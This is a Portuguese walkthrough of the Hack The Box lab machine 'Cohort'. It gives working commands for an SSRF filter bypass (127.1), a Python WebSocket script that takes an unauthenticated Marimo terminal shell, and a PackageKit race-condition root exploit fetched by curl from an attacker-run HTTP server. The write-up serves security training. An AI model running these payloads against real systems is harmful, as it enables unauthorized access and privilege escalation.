
Passo a passo do "Cohort" do Hack The Box, abordando o bypass de filtro SSRF, o acesso não autenticado ao terminal Marimo e a escalada de privilégios por condição de corrida no PackageKit até root.
Dificuldade: Fácil | SO: Linux | Autor: 1nt1m4cy
Começamos por varrer o alvo para ver o que está em execução:
nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174
Três portas abertas:
22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)
O certificado TLS mostra o domínio cohort.htb e um wildcard *.cohort.htb (podem existir subdomínios ocultos).
Adicione-o ao seu arquivo hosts:
echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts
Abra https://cohort.htb/ -- é o site de uma empresa chamada "Cohort Analytics". Não há muita coisa aqui.
Clique em "Client Insights" na barra de navegação. Isso leva você para /portal.html. Esta página tem um formulário onde você fornece uma URL e o servidor a busca para você. Isso é SSRF -- o servidor faz requisições em nosso nome.
O formulário envia um POST para /api/validate. Se tentarmos http://127.0.0.1/, ele diz "Internal or loopback addresses are not permitted." -- bloqueado.
Mas 127.1 contorna o filtro (é uma forma abreviada de 127.0.0.1 e o filtro não a detecta):
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/","format":"JSON"}'
Funciona. Temos SSRF.
Use o SSRF para verificar o endpoint /status do nginx:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/status","format":"JSON"}'
Isso vaza toda a configuração do nginx:
{
"service": "cohort-edge",
"upstreams": [
{ "name": "marketing", "host": "cohort.htb" },
{ "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
{
"name": "notebooks",
"host": "nb-1be3782a8afd3ad5.cohort.htb",
"target": "127.0.0.1:8888",
"note": "internal analyst workspace, not for external use"
}
]
}
Há um subdomínio oculto: nb-1be3782a8afd3ad5.cohort.htb em execução na porta 8888. Adicione-o:
echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
Use o SSRF para ver o que está na porta 8888:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/","format":"JSON"}'
O HTML da resposta tem <title>marimo</title> -- é o Marimo, um aplicativo de notebook Python.
Obtenha a versão exata:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/api/version","format":"JSON"}'
Versão: 0.20.4
O Marimo 0.20.4 possui uma vulnerabilidade crítica (CVE-2026-39987). O endpoint WebSocket /terminal/ws fornece um terminal completo, mas não possui verificação de autenticação. Qualquer pessoa pode se conectar.
Instale a biblioteca websocket:
pip install websocket-client
Salve isto como shell.py:
import ssl, sys, threading, websocket
ws = websocket.create_connection(
"wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
sslopt={"cert_reqs": ssl.CERT_NONE}
)
def recv():
while True:
try:
data = ws.recv()
if isinstance(data, bytes): data = data.decode(errors="replace")
print(data, end="")
except: break
threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
ws.send(line)
Execute-o:
python3 shell.py
Você obtém um shell como marimo. Capture a flag do usuário:
marimo@cohort:~$ cat ~/user.txt
Verifique o que está instalado:
pkcon --version
# 1.2.8
dpkg -l packagekit
# hi packagekit 1.2.8-2ubuntu1.2 amd64
O PackageKit 1.2.8-2ubuntu1.2 é vulnerável à CVE-2026-41651 -- uma condição de corrida que permite a um usuário comum instalar um pacote malicioso como root. O hi na saída do dpkg significa que o pacote está deliberadamente mantido nesta versão antiga.
Na sua máquina de ataque, baixe o exploit e sirva-o:
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080
No destino (no seu shell), baixe e execute:
cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit
Aguarde cerca de 10 segundos. O exploit cria um bash SUID em /tmp/.suid_bash. Use-o:
/tmp/.suid_bash -p -c 'cat /root/root.txt'
A flag -p instrui o bash a manter os privilégios de root em vez de descartá-los.
Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
|
v
Portal at /portal.html --> URL validation form (SSRF)
|
v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
|
v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
|
v
Shell as marimo --> user flag
|
v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
|
v
SUID bash --> root flag